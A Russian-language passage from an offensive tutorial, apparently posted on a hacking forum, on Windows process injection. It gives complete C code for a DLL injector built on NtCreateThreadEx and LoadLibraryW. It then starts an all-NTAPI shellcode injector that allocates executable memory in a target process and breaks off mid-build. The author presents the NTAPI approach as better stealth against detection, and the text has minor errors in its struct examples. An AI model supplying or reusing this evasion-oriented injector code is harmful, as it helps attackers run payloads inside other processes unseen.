typedef struct _PS_ATTRIBUTE_LIST {
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[2];
} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;
Но пока мы не можем ее использовать. Эта структура ссылается на другую структуру в строке: PS_ATTRIBUTE Attributes[2];. Из-за этого нам также нужно захватить структуру _PS_ATTRIBUTE, которую мы можем найти прямо над структурой _PS_ATTRIBUTE_LIST из данного ресурса.
typedef struct _PS_ATTRIBUTE {
ULONGLONG Attribute;
SIZE_T Size;
union {
ULONG_PTR Value;
PVOID ValuePtr;
};
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, *PPS_ATTRIBUTE;
Теперь, после включения этих двух структур в наш заголовочный файл, мы готовы приступить к программированию и не видим никаких раздражающих красных линий.
Теперь давайте приступим к нашей программе для инъекции.
C:
#include "headerFile.h"
HMODULE getMod(LPCWSTR modName) {
HMODULE handleModule = NULL;
printf("%s Пытаемся получить дескриптор %S\n", asterisk, modName);
handleModule = GetModuleHandleW(modName);
if (handleModule == NULL) {
printf("%s Не удалось получить дескриптор модуля, ошибка: 0x%lx\n", minus, GetLastError());
return NULL;
}
else {
printf("%s Дескриптор модуля получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, handleModule);
return handleModule;
}
}
Эта функция принимает имя модуля, к которому вы хотите получить дескриптор, и пытается получить к нему дескриптор - если она не может его получить, то есть если GetModuleHandleW возвращает NULL, она просто вернет NULL. Переходим к функции main:
C:
int main(int argc, char* argv[]) {
DWORD processID = NULL;
HANDLE handleProcess = NULL;
HANDLE handleThread = NULL;
HMODULE handleKernel32 = NULL;
HMODULE handleNTDLL = NULL;
PVOID buffer = NULL;
wchar_t dllPath[MAX_PATH] = L"C:\\ПУТЬ\\К\\xssis.dll";
size_t pathSize = sizeof(dllPath);
size_t bytesWritten = 0;
OBJECT_ATTRIBUTES OA = { sizeof(OA), NULL };
Все это выглядит стандартно по сравнению с тем, что мы делали до сих пор, за исключением инициализации переменной handleNTDLL, в которой будет храниться базовый адрес модуля NTDLL, когда мы, наконец, получим к нему доступ с помощью функции getMod. Единственное отличие, которое мы можем заметить, это включение этой переменной - OBJECT_ATTRIBUTES OA = { sizeof(OA), NULL };.
Это здесь потому, что NtCreateThreadEx нуждается в указателе на эту структуру для одного из своих аргументов, рассмотрим это более подробно позже. А сейчас продолжим написание кода:
C:
if (argc < 2) {
printf("%s Пример использования: %s <PID>", minus, argv[0]);
return 1;
}
processID = atoi(argv[1]);
printf("%s Попытка получить декскриптор процесса (%ld)", asterisk, processID);
handleProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
if (handleProcess == NULL) {
printf("%s Не удалось получить дескриптор процесса, ошибка: 0x%lx", minus, GetLastError());
return 1;
}
printf("%s Дескриптор процесса получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, handleProcess);
handleNTDLL = getMod(L"ntdll.dll");
handleKernel32 = getMod(L"kernel32.dll");
if (handleNTDLL == NULL || handleKernel32 == NULL) {
printf("%s Модуль(-ли) == NULL, ошибка: 0x%lx", minus, GetLastError());
if (handleProcess) {
CloseHandle(handleProcess);
}
return 1;
}
pNtCreateThreadEx xssisCreateThreadEx = (pNtCreateThreadEx)GetProcAddress(handleNTDLL, "NtCreateThreadEx");
printf("%s Адрес NtCreateThreadEx из NTDLL получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, xssisCreateThreadEx);
PTHREAD_START_ROUTINE xssisLoadLibrary = (PTHREAD_START_ROUTINE)GetProcAddress(handleKernel32, "LoadLibraryW");
printf("%s Адрес LoadLibrary из KERNEL32 получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, xssisLoadLibrary);
buffer = VirtualAllocEx(handleProcess, buffer, pathSize, (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
if (buffer == NULL) {
printf("%s Не удалось выделить память в целевом (таргет) процессе, ошибка: 0x%lx", minus, GetLastError());
if (handleProcess) {
CloseHandle(handleProcess);
}
return 1;
}
printf("%s Память в целевом (таргет) процессе выделена\n", plus);
WriteProcessMemory(handleProcess, buffer, dllPath, pathSize, &bytesWritten);
printf("%s Записано %zu байт в выделенный буфер\n", plus, bytesWritten);
Мы получаем дескриптор процесса, на который указывает PID. После этого мы используем наши функции getMod, чтобы получить дескриптор NTDLL и Kernel32. Почему именно эти два модуля?
Kernel32 -> Он нужен нам для функции LoadLibrary, чтобы мы могли загрузить наш модуль в память процесса и запустить точку входа нашей DLL (DllMain).
NTDLL -> Нам нужно получить дескриптор NTDLL, потому что у нас есть прототип функции. Нам нужно заполнить наш прототип функции адресом функции, которую мы пытаемся использовать. Мы пытаемся использовать NtCreateThreadEx, которая находится в NTDLL, поэтому мы будем искать ее в этом модуле, а когда найдем, она будет присвоена нашему прототипу функции NtCreateThreadEx, который мы определили в заголовочном файле headerFile.h.
После этого мы заполняем наш прототип функции NtCreateThreadEx. Далее мы обращаемся к Kernel32 в поисках LoadLibraryW. Мы передаем ее в PTHREAD_START_ROUTINE, чтобы сообщить вновь созданному потоку, что мы хотим, чтобы это была начальная точка для потока.
Мы выделяем буфер в памяти процесса с правами PAGE_READWRITE и записываем путь к DLL в этот выделенный буфер. Теперь осталось только использовать нашу функцию NTAPI NtCreateThreadEx, которую мы назвали xssisCreateThreadEx. На данный момент она уже готова.
!!
Функции NTAPI возвращают NTSTATUS. Поэтому мы не можем использовать здесь HANDLE, как это было в предыдущих примерах:
Для этого нам придется хранить возвращаемое значение нашей функции xssisCreateThreadEx в переменной, например:HANDLE handleThread = CreateRemoteThreadEx(...);
!!NTSTATUS status = xssisCreateThreadEx(...);
Поскольку эта функция будет возвращать NTSTATUS, мы хотим проверить, возвращает ли она одно из значений, показанных здесь.
Более конкретно, мы хотим посмотреть, возвращается ли значение STATUS_SUCCESS NTSTATUS, которое, как мы видим, имеет следующее значение:
На той же странице мы можем увидеть, что на самом деле означает это значение/код:
Мы можем определить это значение в нашем заголовочном файле, чтобы сделать некоторую обработку ошибок для нашей функции xssisCreateThreadEx. Итак, давайте зададим следующую строку:
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
После этого мы можем приступить к заполнению аргументов нашей функции xssisCreateThreadEx:
NTSTATUS status = xssisCreateThreadEx(&handleThread, ...);
Первый аргумент (ThreadHandle) - это указатель на переменную handleThread, которая будет содержать базовый адрес дескриптора потока при его создании. Второй параметр (DesiredAccess) - это доступ, который мы хотим получить для вновь созданного потока. Мы можем просто указать THREAD_ALL_ACCESS в качестве аргумента.
NTSTATUS status = xssisCreateThreadEx(&handleThread, THREAD_ALL_ACCESS, ...);
Следующий аргумент (ObjectAttributes) - это указатель на созданную нами структуру OBJECT_ATTRIBUTES. Мы присвоили эту структуру нашей переменной OA, поэтому давайте передадим ее для этого аргумента:
NTSTATUS status = xssisCreateThreadEx(&handleThread, THREAD_ALL_ACCESS, &OA, ...);
Далее мы передаем дескриптор нашего процесса в параметр ProcessHandle:
NTSTATUS status = xssisCreateThreadEx(&handleThread, THREAD_ALL_ACCESS, &OA, handleProcess, ...);
StartRoutine - это следующий параметр, и мы можем поставить нашу функцию LoadLibraryW (xssisCreateThreadEx), созданную на основе PTHREAD_START_ROUTINE:
NTSTATUS status = xssisCreateThreadEx(&handleThread, THREAD_ALL_ACCESS, &OA, handleProcess, xssisLoadLibrary, ...);
Мы почти закончили. Argument - это следующий параметр, и хотя он называется по-другому, это будет просто buffer, который мы создали, так как в нем будет храниться dllPath на данном этапе:
NTSTATUS status = xssisCreateThreadEx(&handleThread, THREAD_ALL_ACCESS, &OA, handleProcess, xssisLoadLibrary, buffer, ...);
Следующие параметры будут равны NULL или 0.
1. CreateFlags -> FALSE
2. ZeroBits -> NULL
3. StackSize -> NULL
4. MaximumStackSize -> NULL
5. AttributeList -> NULL
NTSTATUS status = xssisCreateThreadEx(&handleThread, THREAD_ALL_ACCESS, &OA, handleProcess, xssisLoadLibrary, buffer, FALSE, NULL, NULL, NULL, NULL);
После выполнения этой функции мы можем провести тест, чтобы узнать, является ли возвращаемое ею значение NTSTATUS значением STATUS_SUCCESS или нет. Затем мы можем завершить работу и приступить к очистке:
C:
if (status != STATUS_SUCCESS) {
printf("%s Не удалось создать поток, ошибка: 0x%lx\n", minus, status);
if (handleThread) {
CloseHandle(handleThread);
}
if (handleProcess) {
CloseHandle(handleProcess);
}
return 1;
}
printf("%s Поток создан, ожидание завершения выполнения потока\n", plus);
WaitForSingleObject(handleThread, INFINITE);
printf("%s Поток завершил выполнение\n", plus);
printf("%s Очистка\n", asterisk);
if (handleThread) {
CloseHandle(handleThread);
}
if (handleProcess) {
CloseHandle(handleProcess);
}
printf("%s Завершено\n", plus);
return 0;
}
Выполнение инъекции
После компиляции программы мы можем протестировать ее, внедрив DLL в какой-нибудь скромный блокнот или же в Paint. Единственное, что мы немного улучшили - это фактор скрытности. Хотя, опять же, не намного. Лучше, чем ничего, но до совершенства еще далеко.
Теперь, если мы подождем завершения потока (которое произойдет только после того, как мы нажмем кнопку OK), программа начнет очистку:
Мы только что успешно заменили одну функцию Win32 API на ее аналог NTAPI из NTDLL. В следующем разделе мы заменим все функции Win32 API их аналогами из Native API для программы из моей статьи про инъекцию шелл-кода.
Если кому-либо нужен полный код того, что мы только что проделали, то вот он:
C:
#pragma once
#pragma comment (lib, "ntdll")
#include <Windows.h>
#include <stdio.h>
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
/* Определяем статус-символы */
const char* plus = "[+]";
const char* minus = "[-]";
const char* asterisk = "[*]";
/* Структуры */
typedef struct _PS_ATTRIBUTE {
ULONGLONG Attribute;
SIZE_T Size;
union {
ULONG_PTR Value;
PVOID ValuePtr;
};
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;
typedef struct _PS_ATTRIBUTE_LIST {
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[2];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
VOID* RootDirectory;
struct _UNICODE_STRING* ObjectName;
ULONG Attributes;
VOID* SecurityDescriptor;
VOID* SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
/* Прототип функции */
typedef NTSTATUS(NTAPI* pNtCreateThreadEx) (
_Out_ PHANDLE ThreadHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE ProcessHandle,
_In_ PVOID StartRoutine,
_In_opt_ PVOID Argument,
_In_ ULONG CreateFlags,
_In_ SIZE_T ZeroBits,
_In_ SIZE_T StackSize,
_In_ SIZE_T MaximumStackSize,
_In_opt_ PPS_ATTRIBUTE_LIST AttributeList);
C:
#include "headerFile.h"
HMODULE getMod(LPCWSTR modName) {
HMODULE handleModule = NULL;
printf("%s Пытаемся получить дескриптор %S\n", asterisk, modName);
handleModule = GetModuleHandleW(modName);
if (handleModule == NULL) {
printf("%s Не удалось получить дескриптор модуля, ошибка: 0x%lx\n", minus, GetLastError());
return NULL;
}
else {
printf("%s Дескриптор модуля получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, handleModule);
return handleModule;
}
}
int main(int argc, char* argv[]) {
DWORD processID = NULL;
HANDLE handleProcess = NULL;
HANDLE handleThread = NULL;
HMODULE handleKernel32 = NULL;
HMODULE handleNTDLL = NULL;
PVOID buffer = NULL;
wchar_t dllPath[MAX_PATH] = L"C:\\ПУТЬ\\К\\xssis.dll";
size_t pathSize = sizeof(dllPath);
size_t bytesWritten = 0;
OBJECT_ATTRIBUTES OA = { sizeof(OA), NULL };
if (argc < 2) {
printf("%s Пример использования: %s <PID>", minus, argv[0]);
return 1;
}
processID = atoi(argv[1]);
printf("%s Попытка получить декскриптор процесса (%ld)", asterisk, processID);
handleProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
if (handleProcess == NULL) {
printf("%s Не удалось получить дескриптор процесса, ошибка: 0x%lx", minus, GetLastError());
return 1;
}
printf("%s Дескриптор процесса получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, handleProcess);
handleNTDLL = getMod(L"ntdll.dll");
handleKernel32 = getMod(L"kernel32.dll");
if (handleNTDLL == NULL || handleKernel32 == NULL) {
printf("%s Модуль(-ли) == NULL, ошибка: 0x%lx", minus, GetLastError());
if (handleProcess) {
CloseHandle(handleProcess);
}
return 1;
}
pNtCreateThreadEx xssisCreateThreadEx = (pNtCreateThreadEx)GetProcAddress(handleNTDLL, "NtCreateThreadEx");
printf("%s Адрес NtCreateThreadEx из NTDLL получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, xssisCreateThreadEx);
PTHREAD_START_ROUTINE xssisLoadLibrary = (PTHREAD_START_ROUTINE)GetProcAddress(handleKernel32, "LoadLibraryW");
printf("%s Адрес LoadLibrary из KERNEL32 получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, xssisLoadLibrary);
buffer = VirtualAllocEx(handleProcess, buffer, pathSize, (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
if (buffer == NULL) {
printf("%s Не удалось выделить память в целевом (таргет) процессе, ошибка: 0x%lx", minus, GetLastError());
if (handleProcess) {
CloseHandle(handleProcess);
}
return 1;
}
printf("%s Память в целевом (таргет) процессе выделена\n", plus);
WriteProcessMemory(handleProcess, buffer, dllPath, pathSize, &bytesWritten);
printf("%s Записано %zu байт в выделенный буфер\n", plus, bytesWritten);
NTSTATUS status = xssisCreateThreadEx(&handleThread, THREAD_ALL_ACCESS, &OA, handleProcess, xssisLoadLibrary, buffer, FALSE, NULL, NULL, NULL, NULL);
if (status != STATUS_SUCCESS) {
printf("%s Не удалось создать поток, ошибка: 0x%lx\n", minus, status);
if (handleThread) {
CloseHandle(handleThread);
}
if (handleProcess) {
CloseHandle(handleProcess);
}
return 1;
}
printf("%s Поток создан, ожидание завершения выполнения потока\n", plus);
WaitForSingleObject(handleThread, INFINITE);
printf("%s Поток завершил выполнение\n", plus);
printf("%s Очистка\n", asterisk);
if (handleThread) {
CloseHandle(handleThread);
}
if (handleProcess) {
CloseHandle(handleProcess);
}
printf("%s Завершено\n", plus);
return 0;
}
Создание полноценной NTAPI версии программы для инъекции шелл-кода
Итак, вот мы и добрались до продолжения. Ниже приведены блок-схемы нашей инъекции шелл-кода из моей первой статьи в данной серии:Win32 API:
OpenProcess() или CreateProcess() ---> VirtualAllocEx() ---> WriteProcessMemory() ---> CreateRemoteThreadEx()
NTAPI:
NtOpenProcess() или NtCreateProcess() ---> NtAllocateVirtualMemory() ---> NtWriteVirtualMemory() ---> NtCreateThreadEx()
Перед тем как настроить нашу программу на использование всех этих функций, нам нужно сделать немного дополнительных настроек, поскольку мы будем использовать исключительно функции NTDLL/NTAPI. Первым делом необходимо создать заголовочный файл headerFile.h, затем добавим в него следующее:
C:
#pragma once
#pragma comment (lib, "ntdll")
#include <Windows.h>
#include <stdio.h>
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
/* Определяем статус-символы */
const char* plus = "[+]";
const char* minus = "[-]";
const char* asterisk = "[*]";
/* Структуры */
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID {
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
Недокументированные структуры ядра
Откуда они вообще берутся, спросите вы. Если мы посмотрим, например, на такую функцию, как NtOpenProcess, то увидим, что для ее работы требуется следующее:
Взято с MSDN.
Мы видим наши типичные параметры, такие как ProcessHandle и DesiredAccess, но что насчет этих двух новых параметров: ObjectAttributes (_OBJECT_ATTRIBUTES) и ClientId (_CLIENT_ID)? На самом деле это недокументированные структуры, которые требуются нашей функции, поэтому и потребовалась вышеописанная настройка. Мы вкратце поговорили об этом ранее, так что для вас это не должно быть чем-то необычным. Используя веб-сайт, на котором задокументированы тонны этих структур, как на этом сайте, мы можем легко включить их в наши программы. Ранее я уже упоминал, как именно это делается.
Итак, что мы имеем на данный момент из подготовительной части данной статьи:
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
Определив структуру _OBJECT_ATTRIBUTES, перейдем к следующей структуре, необходимой NtOpenProcess, а именно к _CLIENT_ID.
Давайте определим и ее в нашей программе:
typedef struct _CLIENT_ID {
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
Это необходимая структура для NtOpenProcess().
Осталось только обсудить структуру _UNICODE_STRING:
typedef struct _UNICODE_STRING{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
Откуда она взялась? В случае с двумя другими структурами их происхождение имеет определенный смысл, поскольку функция, которую мы пытаемся использовать, требует их наличия. Однако эта структура не кажется очевидной для использования. Возможно, вы заметите, что ответ все это время находился прямо перед нашими глазами. Взгляните на структуру _OBJECT_ATTRIBUTES еще раз и посмотрите, сможете ли вы понять, где на самом деле требуется вышеупомянутая структура:
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
Помните, что не только функции нуждаются в структурах. Иногда структуры могут нуждаться в структурах. Это определенно относится к структуре _OBJECT_ATTRIBUTES, поскольку она указывает на структуру _UNICODE_STRING для параметра ObjectName.
PUNICODE_STRING ObjectName;
Поэтому нам необходимо создать структуру _UNICODE_STRING для структуры _OBJECT_ATTRIBUTES. После того, как все готово, давайте обсудим, как мы можем сделать дамп этих структур вручную.
Дамп структур ядра
Ранее мы уже обращались к сайту Vergilius для включения необходимых структур. Но гораздо полезнее узнать, как происходит процесс (или хотя бы процесс) сброса этих структур вручную. Возьмем для примера структуры _UNICODE_STRING и _CLIENT_ID. Используя отладчик типа WinDbg, мы можем вывести имена структур следующим образом:
Мы сделали дамп структуры и он показывает нам то же самое, что и сайт типа Vergilius:
//0x10 bytes (sizeof)
struct _CLIENT_ID
{
VOID* UniqueProcess; //0x0
VOID* UniqueThread; //0x8
};
То же самое относится и к структуре _CLIENT_ID:
И снова мы получили те же результаты от чего-то вроде Vergilius:
//0x8 bytes (sizeof)
struct _CLIENT_ID
{
VOID* UniqueProcess; //0x0
VOID* UniqueThread; //0x4
};
Теперь, когда все структуры определены и готовы к использованию, давайте перейдем к созданию остальной части программы. И последнее: пусть вас не обманывает название "структуры ядра", они на 100% могут использоваться и в пользовательском режиме. Собственно говоря, именно этим мы здесь и занимаемся.
Создание программы
Во-первых, мы должны определить прототипы для функций, которые мы в конечном итоге будем использовать. Путь инъекции процесса через NTAPI выглядит примерно так:NtOpenProcess() или NtCreateProcess() /* Открываем процесс или создаем его */
|
|
|
NtAllocateVirtualMemory() /* Выделяем буфер в памяти процесса */
|
|
|
NtWriteVirtualMemory() /* Записываем наш пейлоад в этот буфер */
|
|
|
NtCreateThreadEx() /* Создаем поток для запуска нашего пейлоада */
Теперь возникает вопрос, где найти прототипы этих функций, чтобы мы могли их внедрить? Для этого существуют различные способы. Один из моих любимых способов - обратиться к файлам Process Hacker Native API (PHNT).
В этом репозитории хранятся специфические NTAPI функции/структуры, которые использует проект System Informer. Это полезный для нас репозиторий, поскольку в нем присутствуют функции NTAPI и структуры ядра. Поскольку мы хотим разобраться с процессом, давайте поищем NtOpenProcess.
Используя приведенный выше синтаксис, мы можем включить его в наш заголовочный файл headerFile.h следующим образом:
/* Функции */
typedef NTSTATUS(NTAPI* NtOpenProcess)(
_Out_ PHANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PCLIENT_ID ClientId
);
Итак, мы успешно создали прототип для нашей функции NtOpenProcess. По аналогии сделаем это для остальных (NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx).
C:
#pragma once
#pragma comment(lib, "ntdll")
#include <Windows.h>
#include <stdio.h>
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
/* Определяем статус-символы */
const char* plus = "[+]";
const char* minus = "[-]";
const char* asterisk = "[*]";
/* Структуры */
typedef struct _PS_ATTRIBUTE {
ULONG_PTR Attribute;
SIZE_T Size;
union
{
ULONG_PTR Value;
PVOID ValuePtr;
};
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;
typedef struct _PS_ATTRIBUTE_LIST {
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID {
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
/* Функции */
typedef NTSTATUS(NTAPI* NtOpenProcess)(
_Out_ PHANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PCLIENT_ID ClientId
);
typedef NTSTATUS(NTAPI* NtAllocateVirtualMemory)(
_In_ HANDLE ProcessHandle,
_Inout_ _At_(*BaseAddress, _Readable_bytes_(*RegionSize) _Writable_bytes_(*RegionSize) _Post_readable_byte_size_(*RegionSize)) PVOID* BaseAddress,
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG AllocationType,
_In_ ULONG Protect
);
typedef NTSTATUS(NTAPI* NtWriteVirtualMemory)(
_In_ HANDLE ProcessHandle,
_In_opt_ PVOID BaseAddress,
_In_reads_bytes_(BufferSize) PVOID Buffer,
_In_ SIZE_T BufferSize,
_Out_opt_ PSIZE_T NumberOfBytesWritten
);
typedef NTSTATUS(NTAPI* NtCreateThreadEx)(
_Out_ PHANDLE ThreadHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE ProcessHandle,
_In_ PVOID StartRoutine,
_In_opt_ PVOID Argument,
_In_ ULONG CreateFlags,
_In_ SIZE_T ZeroBits,
_In_ SIZE_T StackSize,
_In_ SIZE_T MaximumStackSize,
_In_opt_ PPS_ATTRIBUTE_LIST AttributeList
);
Когда заголовочный файл готов, мы можем приступить к созданию основной программы для инъекции. Мы уже рассмотрели, как делать большинство шагов в подготовительной части данной статьи.
C:
#include "headerFile.h"
HMODULE getMod(IN LPCWSTR modName) {
HMODULE handleModule = NULL;
printf("%s Попытка получить дескриптор %S\n", asterisk, modName);
handleModule = GetModuleHandleW(modName);
if (handleModule == NULL) {
printf("%s Не удалось получить дескриптор модуля, ошибка: 0x%lx\n", minus, GetLastError());
return NULL;
}
else {
printf("%s Дескриптор модуля получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, handleModule);
return handleModule;
}
}
int main(int argc, char* argv[]) {
NTSTATUS status;
DWORD processID = NULL;
PVOID buffer = NULL;
HANDLE handleProcess = NULL;
HANDLE handleThread = NULL;
HMODULE handleNTDLL = NULL;
unsigned char shellcode[] = "\x\s\s\.\i\s";
size_t shellcodeSize = sizeof(shellcode);
size_t bytesWritten = 0;
if (argc < 2) {
printf("%s Пример использования: %s <PID>\n", minus, argv[0]);
return 1;
}
processID = atoi(argv[1]);
OBJECT_ATTRIBUTES OA = { sizeof(OA), NULL };
CLIENT_ID CID = { (HANDLE)processID, NULL };
handleNTDLL = getMod(L"NTDLL");
if (handleNTDLL == NULL) {
printf("%s Не удалось получить дескриптор NTDLL, ошибка: 0x%lx\n", minus, GetLastError());
return 1;
}
Во-первых, мы начинаем с определения STATUS_SUCCESS, который будет использоваться только в одной части нашего кода. Если быть точнее, то для обработки ошибок. Давайте посмотрим на структуры, которые мы инициализируем:
/* Инициализируем структуры ядра _CLIENT_ID и _OBJECT_ATTRIBUTES */
processID = atoi(argv[1]);
OBJECT_ATTRIBUTES OA = { sizeof(OA), NULL };
CLIENT_ID CID = { (HANDLE)processID, NULL };
Важно отметить, что это можно сделать несколькими способами. Общая идея заключается в том, что мы пытаемся передать PID члену UniqueProcess структуры _CLIENT_ID, который мы присвоили CID. Вы также можете сделать это следующим образом:
Или вот так:CLIENT_ID CID = { (HANDLE)atoi(argv[1]), NULL};
CLIENT_ID CID = { 0 };
CID.UniqueProcess = processID;
Теперь давайте перейдем к следующей структуре. Мы обозначаем первую часть - длину с размером самой структуры _OBJECT_ATTRIBUTES. Затем мы инициализируем остальную часть структуры, сделав ее NULL. Далее мы можем начать с заполнения наших прототипов функций фактическими адресами функций из NTDLL:
C:
NtOpenProcess xssisOpenProcess = (NtOpenProcess)GetProcAddress(handleNTDLL, "NtOpenProcess");
printf("%s NtOpenProcess получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, xssisOpenProcess);
NtAllocateVirtualMemory xssisAllocateVirtualMemory = (NtAllocateVirtualMemory)GetProcAddress(handleNTDLL, "NtAllocateVirtualMemory");
printf("%s NtAllocateVirtualMemory получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, xssisAllocateVirtualMemory);
NtWriteVirtualMemory xssisWriteVirtualMemory = (NtWriteVirtualMemory)GetProcAddress(handleNTDLL, "NtWriteVirtualMemory");
printf("%s NtWriteVirtualMemory получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, xssisWriteVirtualMemory);
NtCreateThreadEx xssisCreateThreadEx = (NtCreateThreadEx)GetProcAddress(handleNTDLL, "NtCreateThreadEx");
printf("%s NtCreateThreadEx получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, xssisCreateThreadEx);
printf("%s Все прототипы функций заполнены\n\n", plus);
После того как мы заполнили все прототипы наших функций, мы можем приступить к части нашей программы, отвечающей за инъекцию.
Давайте начнем с получения информации о нашем целевом процессе с помощью NtOpenProcess:
C:
printf("%s Получаем дескриптор процесса (%ld)\n", asterisk, processID);
status = xssisOpenProcess(...);
Первый параметр, ProcessHandle, является указателем на переменную handleProcess, которую мы объявили:
status = xssisOpenProcess(&handleProcess, ...);
Следующий параметр, DesiredAccess - это права доступа, которые мы хотим получить для нашего процесса после того, как получим к нему доступ. В данном случае мы сделаем PROCESS_ALL_ACCESS.
status = xssisOpenProcess(&handleProcess, PROCESS_ALL_ACCESS, ...);
Третий параметр, ObjectAttributes, - это указатель на ту структуру OBJECT_ATTRIBUTES, которую мы создали в начале нашей программы. Мы назвали ее OA:
status = xssisOpenProcess(&handleProcess, PROCESS_ALL_ACCESS, &OA, ...);
Последний параметр, ClientId, является необязательным типом ввода и представляет собой указатель на структуру CLIENT_ID, которую мы задали в начале нашей программы. Мы назвали ее CID:
status = xssisOpenProcess(&handleProcess, PROCESS_ALL_ACCESS, &OA, &CID);
Теперь мы можем проверить возвращаемое значение этой функции и убедиться, что оно равно STATUS_SUCCESS, что свидетельствует об успешном выполнении нашей функции:
C:
if (status != STATUS_SUCCESS) {
printf("%s Не удалось получить дескриптор процесса, ошибка: 0x%x", minus, status);
return 1;
}
Далее нам нужно выделить процессу область памяти с помощью NtAllocateVirtualMemory. Итак, как и в случае с NtOpenProcess, давайте пройдемся по параметрам один за другим.
status = xssisAllocateVirtualMemory(...);
Первый параметр, ProcessHandle - это дескриптор нашего процесса.
status = xssisAllocateVirtualMemory(handleProcess, ...);
Следующий параметр, BaseAddress, представляет собой указатель на сам буфер, в данном случае это будет buffer:
status = xssisAllocateVirtualMemory(handleProcess, &buffer, ...);
Следующий параметр, ZeroBits, для нас не важен, поэтому мы просто установим его в NULL.
status = xssisAllocateVirtualMemory(handleProcess, &buffer, NULL, ...);
Далее идет RegionSize, это указатель на размер нашего шелл-кода, shellcodeSize. Итак, давайте включим это:
status = xssisAllocateVirtualMemory(handleProcess, &buffer, NULL, &shellcodeSize, ...);
Теперь нам нужно задать тип выделения нашего буфера. Мы хотим зарезервировать и зафиксировать регион, поэтому мы поставим MEM_COMMIT | MEM_RESERVE.
status = xssisAllocateVirtualMemory(handleProcess, &buffer, NULL, &shellcodeSize, (MEM_COMMIT | MEM_RESERVE), ...);
Теперь настало время установить разрешения для этого региона. Мы просто установим значение RWX, но вы можете использовать NTAPI-эквивалент VirtualProtect для изменения разрешений, чтобы это было менее подозрительно. С RW на RX. Однако сейчас мы оставим в таком виде:
C:
status = xssisAllocateVirtualMemory(handleProcess, &buffer, NULL, &shellcodeSize, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
if (status != STATUS_SUCCESS) {
printf("%s Не удалось выделить буфер в памяти процесса, ошибка: 0x%x\n", minus, status);
return 1;
}
printf("%s Выделена область в памяти размером в %zu байт с PAGE_EXECUTE_READWRITE разрешениями\n", plus, shellcodeSize);
Выделив буфер, мы можем записывать на эту страницу в памяти. Поэтому, используя NtWriteVirtualMemory, давайте сделаем это.
